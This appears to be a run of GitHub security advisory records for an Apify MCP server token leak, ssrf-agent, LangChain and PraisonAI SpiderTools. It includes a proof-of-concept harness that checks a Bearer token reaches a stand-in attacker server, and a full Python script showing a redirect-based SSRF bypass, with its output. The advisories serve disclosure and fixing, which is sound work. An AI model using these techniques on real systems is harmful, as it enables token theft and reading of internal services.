run(BUILD_CMD, timeout=600)\n if build.returncode != 0:\n msg = build.stderr[-2000:] if build.stderr else build.stdout[-2000:]\n print(\u0027[!] build failed:\\n\u0027, msg)\n write_result({\n \u0027passed\u0027: False,\n \u0027verdict\u0027: \u0027FAIL\u0027,\n \u0027reason\u0027: f\u0027Docker build failed. error: {msg[:500]}\u0027,\n \u0027build_command\u0027: \u0027 \u0027.join(BUILD_CMD),\n \u0027run_command\u0027: \u0027 \u0027.join(RUN_CMD),\n \u0027poc_command\u0027: f\u0027python3 {os.path.relpath(__file__)}\u0027,\n \u0027evidence\u0027: msg[:1000],\n \u0027artifacts\u0027: [\u0027Dockerfile\u0027, \u0027exploit.mjs\u0027, \u0027poc.py\u0027],\n })\n sys.exit(1)\n print(\u0027[+] build succeeded\u0027)\n\n # \u2500\u2500 2. Docker run \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(f\u0027\\n[2/2] text while running the container...\u0027)\n print(f\u0027 command: {\" \".join(RUN_CMD)}\u0027)\n try:\n run_result = run(RUN_CMD, timeout=120)\n except subprocess.TimeoutExpired:\n write_result({\n \u0027passed\u0027: False,\n \u0027verdict\u0027: \u0027INCOMPLETE\u0027,\n \u0027reason\u0027: \u0027container execution 120seconds timeout. text text or TLS handshake issuetext can exists.\u0027,\n \u0027build_command\u0027: \u0027 \u0027.join(BUILD_CMD),\n \u0027run_command\u0027: \u0027 \u0027.join(RUN_CMD),\n \u0027poc_command\u0027: f\u0027python3 {os.path.relpath(__file__)}\u0027,\n \u0027evidence\u0027: \u0027timeout\u0027,\n \u0027artifacts\u0027: [\u0027Dockerfile\u0027, \u0027exploit.mjs\u0027, \u0027poc.py\u0027],\n })\n sys.exit(1)\n\n stdout = run_result.stdout\n stderr = run_result.stderr\n print(\u0027\\n--- container stdout ---\u0027)\n print(stdout)\n if stderr:\n print(\u0027--- container stderr (text 1000characters) ---\u0027)\n print(stderr[:1000])\n\n # \u2500\u2500 3. result verdict \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n passed = (\n run_result.returncode == 0\n and \u0027attacker HTTPS server received request\u0027 in stdout\n and \u0027EXPLOIT SUCCESSFUL\u0027 in stdout\n and \u0027apify_api_VICTIM_SECRET_TOKEN_DEMO_12345\u0027 in stdout\n )\n\n # Build evidence excerpt (key lines only)\n evidence_lines = [l for l in stdout.splitlines()\n if any(k in l for k in [\u0027PASS\u0027, \u0027PROOF\u0027, \u0027received request\u0027,\n \u0027EXPLOIT\u0027, \u0027parsed.hostname\u0027, \u0027Authorization\u0027])]\n evidence = \u0027\\n\u0027.join(evidence_lines[:20]) if evidence_lines else stdout[-1500:]\n\n if passed:\n print(\u0027\\n[\u2713] PASS \u2014 token leak vulnerability dynamic reproduction success\u0027)\n write_result({\n \u0027passed\u0027: True,\n \u0027verdict\u0027: \u0027PASS\u0027,\n \u0027reason\u0027: (\n \u0027Docker container withintext vulnerabilitytext fully reproductiondone. \u0027\n \u0027actors.ts:44text `${standbyUrl}${mcpServerPath}` string text \u0027\n \u0027`@127.0.0.1:31337/mcp` formtext mcpServerPathtext textdo \u0027\n \u0027`https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp` URLtext createand, \u0027\n \u0027Node.js URL text hostnametext 127.0.0.1(attacker server)text dotextdo \u0027\n \u0027client.ts:94text `Authorization: Bearer \u003cAPIFY_TOKEN\u003e` headertext attacker HTTPS servertext beforetextdone.\u0027\n ),\n \u0027build_command\u0027: \u0027 \u0027.join(BUILD_CMD),\n \u0027run_command\u0027: \u0027 \u0027.join(RUN_CMD),\n \u0027poc_command\u0027: f\u0027python3 poc.py\u0027,\n \u0027evidence\u0027: evidence,\n \u0027artifacts\u0027: [\u0027Dockerfile\u0027, \u0027exploit.mjs\u0027, \u0027poc.py\u0027],\n })\n else:\n reason_detail = \u0027\u0027\n if run_result.returncode != 0:\n reason_detail = f\u0027container exit code {run_result.returncode}. \u0027\n if \u0027TOKEN_CAPTURED\u0027 not in stdout:\n reason_detail += \u0027attacker serverfrom token capture text textnot not. \u0027\n if \u0027EXPLOIT SUCCESSFUL\u0027 not in stdout:\n reason_detail += \u0027final success message none. \u0027\n\n print(f\u0027\\n[\u2717] FAIL \u2014 {reason_detail}\u0027)\n write_result({\n \u0027passed\u0027: False,\n \u0027verdict\u0027: \u0027FAIL\u0027,\n \u0027reason\u0027: f\u0027failed to reproduce the vulnerability. {reason_detail}stderr: {stderr[:300]}\u0027,\n \u0027build_command\u0027: \u0027 \u0027.join(BUILD_CMD),\n \u0027run_command\u0027: \u0027 \u0027.join(RUN_CMD),\n \u0027poc_command\u0027: f\u0027python3 poc.py\u0027,\n \u0027evidence\u0027: stdout[-2000:] + (\u0027\\nSTDERR: \u0027 + stderr[:500] if stderr else \u0027\u0027),\n \u0027artifacts\u0027: [\u0027Dockerfile\u0027, \u0027exploit.mjs\u0027, \u0027poc.py\u0027],\n })\n sys.exit(1)\n\n\nif __name__ == \u0027__main__\u0027:\n main()\n```",
"id": "GHSA-6gr2-qh89-hxwm",
"modified": "2026-07-01T22:02:15Z",
"published": "2026-07-01T22:02:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apify/apify-mcp-server/security/advisories/GHSA-6gr2-qh89-hxwm"
},
{
"type": "PACKAGE",
"url": "https://github.com/apify/apify-mcp-server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Apify Model Context Protocol (MCP) server: Actor MCP path authority injection leaks Apify token"
}
GHSA-6GWW-QPM6-MC2G
Vulnerability from github – Published: 2021-12-02 17:51 – Updated: 2021-11-29 15:08The package ssrf-agent before 1.0.5 are vulnerable to Server-side Request Forgery (SSRF) via the defaultIpChecker function. It fails to properly validate if the IP requested is private.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "ssrf-agent"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-23718"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2021-11-23T19:15:40Z",
"nvd_published_at": "2021-11-22T17:15:00Z",
"severity": "MODERATE"
},
"details": "The package ssrf-agent before 1.0.5 are vulnerable to Server-side Request Forgery (SSRF) via the defaultIpChecker function. It fails to properly validate if the IP requested is private.",
"id": "GHSA-6gww-qpm6-mc2g",
"modified": "2021-11-29T15:08:38Z",
"published": "2021-12-02T17:51:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23718"
},
{
"type": "WEB",
"url": "https://github.com/welefen/ssrf-agent/commit/9607175acd0647d821bae4e8fcc3b712aca3fd2d#diff-e727e4bdf3657fd1d798edcd6b099d6e092f8573cba266154583a746bba0f346"
},
{
"type": "PACKAGE",
"url": "https://github.com/welefen/ssrf-agent"
},
{
"type": "WEB",
"url": "https://github.com/welefen/ssrf-agent/blob/cec2b85fe8886ad6926a247a3e059d8369ec022b/index.js%23L13"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20211203-0005"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-SSRFAGENT-1584362"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Server-Side Request Forgery in ssrf-agent"
}
GHSA-6H8P-4HX9-W66C
Vulnerability from github – Published: 2023-10-21 00:30 – Updated: 2023-11-02 21:07In Langchain before 0.0.329, prompt injection allows an attacker to force the service to retrieve data from an arbitrary URL, essentially providing SSRF and potentially injecting content into downstream tasks.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "langchain"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.329"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-32786"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2023-10-24T01:36:13Z",
"nvd_published_at": "2023-10-20T22:15:10Z",
"severity": "HIGH"
},
"details": "In Langchain before 0.0.329, prompt injection allows an attacker to force the service to retrieve data from an arbitrary URL, essentially providing SSRF and potentially injecting content into downstream tasks.",
"id": "GHSA-6h8p-4hx9-w66c",
"modified": "2023-11-02T21:07:36Z",
"published": "2023-10-21T00:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32786"
},
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langchain/pull/12747"
},
{
"type": "WEB",
"url": "https://gist.github.com/rharang/d265f46fc3161b31ac2e81db44d662e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/langchain-ai/langchain"
},
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langchain/releases/tag/v0.0.329"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Langchain Server-Side Request Forgery vulnerability"
}
GHSA-6H9P-93HQ-Q7H6
Vulnerability from github – Published: 2026-06-18 13:55 – Updated: 2026-07-20 21:24SpiderTools redirect-target SSRF protection bypass
Summary
SpiderTools.scrape_page() validates the initial URL and rejects direct
loopback, private, link-local, metadata, and internal hostnames. It then calls
requests.Session.get() without disabling automatic redirects or validating
redirect Location targets.
Requests follows redirects by default for GET requests. A safe-looking public
URL can therefore pass _validate_url(), redirect to a blocked target such as
127.0.0.1 or 169.254.169.254, and have the redirected response body parsed
and returned by scrape_page().
The same sink is used by extract_links(), crawl(), and extract_text()
through their calls to scrape_page().
Affected component
src/praisonai-agents/praisonaiagents/tools/spider_tools.py
Tested affected:
v3.9.24/d08d98cav3.9.26/62472a23v4.6.56/d3c4a2afv4.6.57/e90d92231853161ad931f3498da57651a9f8b528- current main
2f9677abb2ea68eab864ee8b6a828fd0141612e1
No patched version is known at report time.
Root cause
Current main validates only the caller-supplied URL:
if not self._validate_url(url):
return {"error": f"Invalid or potentially dangerous URL: {url}"}
The fetch then uses Requests defaults:
response = session.get(
url,
timeout=timeout,
verify=verify_ssl
)
Because allow_redirects=False is not set, Requests follows a 3xx redirect to a
new destination that has not been checked by _validate_url() or
_host_is_blocked().
Proof of vulnerability
The PoV below is local-only and does not contact external infrastructure. It
starts a loopback-only internal service and a local redirector. During
PraisonAI's initial host validation, attacker.test is made to look like a
public address. During the actual HTTP request, it routes to the local
redirector, which returns 302 Location: http://127.0.0.1:<port>/secret.
Full PoV:
#!/usr/bin/env python3
"""Local PoV for SpiderTools redirect-target SSRF.
This uses only loopback services. The "attacker" hostname is treated as public
during PraisonAI's initial URL validation, then routed to a local redirector so
the PoV does not contact external infrastructure. The redirector points at a
loopback-only internal service. Vulnerable behavior is confirmed when
SpiderTools follows that redirect and returns the internal response body.
"""
from __future__ import annotations
import http.server
import importlib.util
import inspect
import os
import socket
import socketserver
import threading
from typing import Any
def _load_spider_tools_class():
module_file = os.environ.get("PRAISONAI_SPIDER_TOOLS_FILE")
if module_file:
spec = importlib.util.spec_from_file_location("pov_spider_tools", module_file)
if spec is None or spec.loader is None:
raise RuntimeError(f"Could not load spider_tools file: {module_file}")
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)
return module.SpiderTools
from praisonaiagents.tools.spider_tools import SpiderTools
return SpiderTools
class InternalHandler(http.server.BaseHTTPRequestHandler):
body = b"SPIDER-INTERNAL-SECRET"
def do_GET(self) -> None: # noqa: N802
self.server.hit = True # type: ignore[attr-defined]
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.send_header("Content-Length", str(len(self.body)))
self.end_headers()
self.wfile.write(self.body)
def log_message(self, *_args: Any) -> None:
return
class RedirectHandler(http.server.BaseHTTPRequestHandler):
target = ""
def do_GET(self) -> None: # noqa: N802
self.server.hit = True # type: ignore[attr-defined]
self.send_response(302)
self.send_header("Location", self.target)
self.end_headers()
def log_message(self, *_args: Any) -> None:
return
def _called_from_spider_host_guard() -> bool:
return any(frame.function == "_host_is_blocked" for frame in inspect.stack())
def main() -> int:
os.environ.pop("ALLOW_LOCAL_CRAWL", None)
internal = socketserver.TCPServer(("127.0.0.1", 0), InternalHandler)
internal.hit = False # type: ignore[attr-defined]
internal_port = internal.server_address[1]
RedirectHandler.target = f"http://127.0.0.1:{internal_port}/secret"
redirect = socketserver.TCPServer(("127.0.0.1", 0), RedirectHandler)
redirect.hit = False # type: ignore[attr-defined]
redirect_port = redirect.server_address[1]
threading.Thread(target=internal.serve_forever, daemon=True).start()
threading.Thread(target=redirect.serve_forever, daemon=True).start()
original_getaddrinfo = socket.getaddrinfo
def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):
if host == "attacker.test":
if _called_from_spider_host_guard():
return [
(
socket.AF_INET,
socket.SOCK_STREAM,
6,
"",
("93.184.216.34", port),
)
]
return original_getaddrinfo("127.0.0.1", port, *args, **kwargs)
return original_getaddrinfo(host, port, *args, **kwargs)
tool = _load_spider_tools_class()()
socket.getaddrinfo = fake_getaddrinfo
try:
direct_control = tool.scrape_page(
f"http://127.0.0.1:{internal_port}/secret",
timeout=5,
)
redirect_result = tool.scrape_page(
f"http://attacker.test:{redirect_port}/go",
timeout=5,
)
vulnerable_redirect_hit = bool(redirect.hit) # type: ignore[attr-defined]
vulnerable_internal_hit = bool(internal.hit) # type: ignore[attr-defined]
redirect.hit = False # type: ignore[attr-defined]
internal.hit = False # type: ignore[attr-defined]
import requests
original_session_get = requests.Session.get
def no_redirect_get(self, url, **kwargs): # type: ignore[no-untyped-def]
kwargs.setdefault("allow_redirects", False)
return original_session_get(self, url, **kwargs)
requests.Session.get = no_redirect_get
try:
no_redirect_control = _load_spider_tools_class()().scrape_page(
f"http://attacker.test:{redirect_port}/go",
timeout=5,
)
finally:
requests.Session.get = original_session_get
no_redirect_redirect_hit = bool(redirect.hit) # type: ignore[attr-defined]
no_redirect_internal_hit = bool(internal.hit) # type: ignore[attr-defined]
finally:
socket.getaddrinfo = original_getaddrinfo
redirect.shutdown()
internal.shutdown()
redirect.server_close()
internal.server_close()
print("DIRECT_CONTROL:", direct_control)
print("REDIRECT_RESULT:", redirect_result)
print("REDIRECT_SERVER_HIT:", vulnerable_redirect_hit)
print("INTERNAL_SERVER_HIT:", vulnerable_internal_hit)
print("NO_REDIRECT_CONTROL:", no_redirect_control)
print("NO_REDIRECT_SERVER_HIT:", no_redirect_redirect_hit)
print("NO_REDIRECT_INTERNAL_HIT:", no_redirect_internal_hit)
if not isinstance(direct_control, dict) or "dangerous URL" not in str(direct_control):
raise SystemExit("control failed: direct loopback was not blocked")
if not isinstance(redirect_result, dict) or "error" in redirect_result:
raise SystemExit(f"bypass failed: unexpected result {redirect_result!r}")
if "SPIDER-INTERNAL-SECRET" not in str(redirect_result.get("content", "")):
raise SystemExit("bypass failed: internal body was not returned")
if not vulnerable_redirect_hit or not vulnerable_internal_hit:
raise SystemExit("bypass failed: expected local servers were not hit")
if not no_redirect_redirect_hit or no_redirect_internal_hit:
raise SystemExit("fix control failed: no-redirect mode reached internal service")
print("PRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback")
return 0
if __name__ == "__main__":
raise SystemExit(main())
Run:
cd /Users/rexliu/Documents/GA\ code/REDit\ Deployment/stack/deploy
env PRAISONAI_SPIDER_TOOLS_FILE=/path/to/PraisonAI/src/praisonai-agents/praisonaiagents/tools/spider_tools.py \
uv run --with requests --with beautifulsoup4 --with lxml --python 3.11 \
poc_spider_tools_redirect_ssrf.py
Observed on current main:
DIRECT_CONTROL: {'error': 'Invalid or potentially dangerous URL: http://127.0.0.1:<port>/secret'}
REDIRECT_RESULT: {'url': 'http://attacker.test:<port>/go', 'status_code': 200, ... 'content': 'SPIDER-INTERNAL-SECRET', ...}
REDIRECT_SERVER_HIT: True
INTERNAL_SERVER_HIT: True
NO_REDIRECT_CONTROL: {'url': 'http://attacker.test:<port>/go', 'status_code': 302, ... 'Location': 'http://127.0.0.1:<port>/secret', ...}
NO_REDIRECT_SERVER_HIT: True
NO_REDIRECT_INTERNAL_HIT: False
PRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback
The direct control proves direct loopback is blocked. The redirect result proves the same blocked destination is reached through a public-looking initial URL. The no-redirect control proves that disabling automatic redirects prevents the internal request while still receiving the external redirect response.
Why this is not intended behavior
The Spider Tools documentation says scrape_page, extract_links, crawl, and
extract_text refuse dangerous URLs before network requests. The documented
blocked classes include loopback, private/reserved IPs, link-local/cloud
metadata endpoints, internal TLDs, non-HTTP(S) schemes, and parser-smuggling
forms. The same page states the validation is always on for bundled spider tools
and does not require enable_security().
The current code also documents _validate_url() as URL validation "to prevent
SSRF attacks." A redirect to a loopback target bypasses that documented
protection.
Impact
An attacker who can influence a URL passed to scrape_page(),
extract_links(), crawl(), or extract_text() can cause the PraisonAI process
to request destinations that SpiderTools is designed to block.
Potential impact includes:
- reading loopback-only HTTP services;
- probing or reading private network services reachable from the PraisonAI host;
- reading link-local/cloud metadata endpoints if reachable in the deployment environment.
The PoV demonstrates returned response-body disclosure from a loopback-only service. This report does not claim arbitrary code execution or live cloud credential theft without deployment-specific evidence.
Severity
Suggested default severity: Moderate.
High severity may be appropriate for deployments where untrusted users can directly invoke SpiderTools through a network-facing agent, bot, API, or MCP service and sensitive internal or metadata services are reachable.
Suggested fix
Disable automatic redirects in scrape_page():
response = session.get(
url,
timeout=timeout,
verify=verify_ssl,
allow_redirects=False,
)
If redirects should remain supported, follow them manually and validate every
Location target before each hop using the same SSRF guard:
- require
httporhttps; - resolve and validate every redirect hostname;
- reject loopback, private, link-local, reserved, multicast, unspecified, internal, and metadata destinations;
- cap redirect count;
- apply the same safe fetch path to
scrape_page(),extract_links(),crawl(), andextract_text().
Regression tests should cover direct loopback rejection, public-to-loopback
redirect rejection, public-to-public redirects if supported, and all
scrape_page() callers.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.6.58"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonaiagents"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.59"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-57115"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T13:55:14Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# SpiderTools redirect-target SSRF protection bypass\n\n## Summary\n\n`SpiderTools.scrape_page()` validates the initial URL and rejects direct\nloopback, private, link-local, metadata, and internal hostnames. It then calls\n`requests.Session.get()` without disabling automatic redirects or validating\nredirect `Location` targets.\n\nRequests follows redirects by default for GET requests. A safe-looking public\nURL can therefore pass `_validate_url()`, redirect to a blocked target such as\n`127.0.0.1` or `169.254.169.254`, and have the redirected response body parsed\nand returned by `scrape_page()`.\n\nThe same sink is used by `extract_links()`, `crawl()`, and `extract_text()`\nthrough their calls to `scrape_page()`.\n\n## Affected component\n\n```text\nsrc/praisonai-agents/praisonaiagents/tools/spider_tools.py\n```\n\nTested affected:\n\n- `v3.9.24` / `d08d98ca`\n- `v3.9.26` / `62472a23`\n- `v4.6.56` / `d3c4a2af`\n- `v4.6.57` / `e90d92231853161ad931f3498da57651a9f8b528`\n- current main `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n\nNo patched version is known at report time.\n\n## Root cause\n\nCurrent main validates only the caller-supplied URL:\n\n```python\nif not self._validate_url(url):\n return {\"error\": f\"Invalid or potentially dangerous URL: {url}\"}\n```\n\nThe fetch then uses Requests defaults:\n\n```python\nresponse = session.get(\n url,\n timeout=timeout,\n verify=verify_ssl\n)\n```\n\nBecause `allow_redirects=False` is not set, Requests follows a 3xx redirect to a\nnew destination that has not been checked by `_validate_url()` or\n`_host_is_blocked()`.\n\n## Proof of vulnerability\n\nThe PoV below is local-only and does not contact external infrastructure. It\nstarts a loopback-only internal service and a local redirector. During\nPraisonAI\u0027s initial host validation, `attacker.test` is made to look like a\npublic address. During the actual HTTP request, it routes to the local\nredirector, which returns `302 Location: http://127.0.0.1:\u003cport\u003e/secret`.\n\nFull PoV:\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for SpiderTools redirect-target SSRF.\n\nThis uses only loopback services. The \"attacker\" hostname is treated as public\nduring PraisonAI\u0027s initial URL validation, then routed to a local redirector so\nthe PoV does not contact external infrastructure. The redirector points at a\nloopback-only internal service. Vulnerable behavior is confirmed when\nSpiderTools follows that redirect and returns the internal response body.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport http.server\nimport importlib.util\nimport inspect\nimport os\nimport socket\nimport socketserver\nimport threading\nfrom typing import Any\n\n\ndef _load_spider_tools_class():\n module_file = os.environ.get(\"PRAISONAI_SPIDER_TOOLS_FILE\")\n if module_file:\n spec = importlib.util.spec_from_file_location(\"pov_spider_tools\", module_file)\n if spec is None or spec.loader is None:\n raise RuntimeError(f\"Could not load spider_tools file: {module_file}\")\n module = importlib.util.module_from_spec(spec)\n spec.loader.exec_module(module)\n return module.SpiderTools\n\n from praisonaiagents.tools.spider_tools import SpiderTools\n\n return SpiderTools\n\n\nclass InternalHandler(http.server.BaseHTTPRequestHandler):\n body = b\"SPIDER-INTERNAL-SECRET\"\n\n def do_GET(self) -\u003e None: # noqa: N802\n self.server.hit = True # type: ignore[attr-defined]\n self.send_response(200)\n self.send_header(\"Content-Type\", \"text/html\")\n self.send_header(\"Content-Length\", str(len(self.body)))\n self.end_headers()\n self.wfile.write(self.body)\n\n def log_message(self, *_args: Any) -\u003e None:\n return\n\n\nclass RedirectHandler(http.server.BaseHTTPRequestHandler):\n target = \"\"\n\n def do_GET(self) -\u003e None: # noqa: N802\n self.server.hit = True # type: ignore[attr-defined]\n self.send_response(302)\n self.send_header(\"Location\", self.target)\n self.end_headers()\n\n def log_message(self, *_args: Any) -\u003e None:\n return\n\n\ndef _called_from_spider_host_guard() -\u003e bool:\n return any(frame.function == \"_host_is_blocked\" for frame in inspect.stack())\n\n\ndef main() -\u003e int:\n os.environ.pop(\"ALLOW_LOCAL_CRAWL\", None)\n\n internal = socketserver.TCPServer((\"127.0.0.1\", 0), InternalHandler)\n internal.hit = False # type: ignore[attr-defined]\n internal_port = internal.server_address[1]\n\n RedirectHandler.target = f\"http://127.0.0.1:{internal_port}/secret\"\n redirect = socketserver.TCPServer((\"127.0.0.1\", 0), RedirectHandler)\n redirect.hit = False # type: ignore[attr-defined]\n redirect_port = redirect.server_address[1]\n\n threading.Thread(target=internal.serve_forever, daemon=True).start()\n threading.Thread(target=redirect.serve_forever, daemon=True).start()\n\n original_getaddrinfo = socket.getaddrinfo\n\n def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):\n if host == \"attacker.test\":\n if _called_from_spider_host_guard():\n return [\n (\n socket.AF_INET,\n socket.SOCK_STREAM,\n 6,\n \"\",\n (\"93.184.216.34\", port),\n )\n ]\n return original_getaddrinfo(\"127.0.0.1\", port, *args, **kwargs)\n return original_getaddrinfo(host, port, *args, **kwargs)\n\n tool = _load_spider_tools_class()()\n socket.getaddrinfo = fake_getaddrinfo\n try:\n direct_control = tool.scrape_page(\n f\"http://127.0.0.1:{internal_port}/secret\",\n timeout=5,\n )\n redirect_result = tool.scrape_page(\n f\"http://attacker.test:{redirect_port}/go\",\n timeout=5,\n )\n vulnerable_redirect_hit = bool(redirect.hit) # type: ignore[attr-defined]\n vulnerable_internal_hit = bool(internal.hit) # type: ignore[attr-defined]\n\n redirect.hit = False # type: ignore[attr-defined]\n internal.hit = False # type: ignore[attr-defined]\n\n import requests\n\n original_session_get = requests.Session.get\n\n def no_redirect_get(self, url, **kwargs): # type: ignore[no-untyped-def]\n kwargs.setdefault(\"allow_redirects\", False)\n return original_session_get(self, url, **kwargs)\n\n requests.Session.get = no_redirect_get\n try:\n no_redirect_control = _load_spider_tools_class()().scrape_page(\n f\"http://attacker.test:{redirect_port}/go\",\n timeout=5,\n )\n finally:\n requests.Session.get = original_session_get\n no_redirect_redirect_hit = bool(redirect.hit) # type: ignore[attr-defined]\n no_redirect_internal_hit = bool(internal.hit) # type: ignore[attr-defined]\n finally:\n socket.getaddrinfo = original_getaddrinfo\n redirect.shutdown()\n internal.shutdown()\n redirect.server_close()\n internal.server_close()\n\n print(\"DIRECT_CONTROL:\", direct_control)\n print(\"REDIRECT_RESULT:\", redirect_result)\n print(\"REDIRECT_SERVER_HIT:\", vulnerable_redirect_hit)\n print(\"INTERNAL_SERVER_HIT:\", vulnerable_internal_hit)\n print(\"NO_REDIRECT_CONTROL:\", no_redirect_control)\n print(\"NO_REDIRECT_SERVER_HIT:\", no_redirect_redirect_hit)\n print(\"NO_REDIRECT_INTERNAL_HIT:\", no_redirect_internal_hit)\n\n if not isinstance(direct_control, dict) or \"dangerous URL\" not in str(direct_control):\n raise SystemExit(\"control failed: direct loopback was not blocked\")\n if not isinstance(redirect_result, dict) or \"error\" in redirect_result:\n raise SystemExit(f\"bypass failed: unexpected result {redirect_result!r}\")\n if \"SPIDER-INTERNAL-SECRET\" not in str(redirect_result.get(\"content\", \"\")):\n raise SystemExit(\"bypass failed: internal body was not returned\")\n if not vulnerable_redirect_hit or not vulnerable_internal_hit:\n raise SystemExit(\"bypass failed: expected local servers were not hit\")\n if not no_redirect_redirect_hit or no_redirect_internal_hit:\n raise SystemExit(\"fix control failed: no-redirect mode reached internal service\")\n\n print(\"PRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback\")\n return 0\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```\n\nRun:\n\n```fish\ncd /Users/rexliu/Documents/GA\\ code/REDit\\ Deployment/stack/deploy\nenv PRAISONAI_SPIDER_TOOLS_FILE=/path/to/PraisonAI/src/praisonai-agents/praisonaiagents/tools/spider_tools.py \\\n uv run --with requests --with beautifulsoup4 --with lxml --python 3.11 \\\n poc_spider_tools_redirect_ssrf.py\n```\n\nObserved on current main:\n\n```text\nDIRECT_CONTROL: {\u0027error\u0027: \u0027Invalid or potentially dangerous URL: http://127.0.0.1:\u003cport\u003e/secret\u0027}\nREDIRECT_RESULT: {\u0027url\u0027: \u0027http://attacker.test:\u003cport\u003e/go\u0027, \u0027status_code\u0027: 200, ... \u0027content\u0027: \u0027SPIDER-INTERNAL-SECRET\u0027, ...}\nREDIRECT_SERVER_HIT: True\nINTERNAL_SERVER_HIT: True\nNO_REDIRECT_CONTROL: {\u0027url\u0027: \u0027http://attacker.test:\u003cport\u003e/go\u0027, \u0027status_code\u0027: 302, ... \u0027Location\u0027: \u0027http://127.0.0.1:\u003cport\u003e/secret\u0027, ...}\nNO_REDIRECT_SERVER_HIT: True\nNO_REDIRECT_INTERNAL_HIT: False\nPRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback\n```\n\nThe direct control proves direct loopback is blocked. The redirect result proves\nthe same blocked destination is reached through a public-looking initial URL.\nThe no-redirect control proves that disabling automatic redirects prevents the\ninternal request while still receiving the external redirect response.\n\n## Why this is not intended behavior\n\nThe Spider Tools documentation says `scrape_page`, `extract_links`, `crawl`, and\n`extract_text` refuse dangerous URLs before network requests. The documented\nblocked classes include loopback, private/reserved IPs, link-local/cloud\nmetadata endpoints, internal TLDs, non-HTTP(S) schemes, and parser-smuggling\nforms. The same page states the validation is always on for bundled spider tools\nand does not require `enable_security()`.\n\nThe current code also documents `_validate_url()` as URL validation \"to prevent\nSSRF attacks.\" A redirect to a loopback target bypasses that documented\nprotection.\n\n## Impact\n\nAn attacker who can influence a URL passed to `scrape_page()`,\n`extract_links()`, `crawl()`, or `extract_text()` can cause the PraisonAI process\nto request destinations that SpiderTools is designed to block.\n\nPotential impact includes:\n\n- reading loopback-only HTTP services;\n- probing or reading private network services reachable from the PraisonAI host;\n- reading link-local/cloud metadata endpoints if reachable in the deployment\n environment.\n\nThe PoV demonstrates returned response-body disclosure from a loopback-only\nservice. This report does not claim arbitrary code execution or live cloud\ncredential theft without deployment-specific evidence.\n\n## Severity\n\nSuggested default severity: Moderate.\n\nHigh severity may be appropriate for deployments where untrusted users can\ndirectly invoke SpiderTools through a network-facing agent, bot, API, or MCP\nservice and sensitive internal or metadata services are reachable.\n\n## Suggested fix\n\nDisable automatic redirects in `scrape_page()`:\n\n```python\nresponse = session.get(\n url,\n timeout=timeout,\n verify=verify_ssl,\n allow_redirects=False,\n)\n```\n\nIf redirects should remain supported, follow them manually and validate every\n`Location` target before each hop using the same SSRF guard:\n\n- require `http` or `https`;\n- resolve and validate every redirect hostname;\n- reject loopback, private, link-local, reserved, multicast, unspecified,\n internal, and metadata destinations;\n- cap redirect count;\n- apply the same safe fetch path 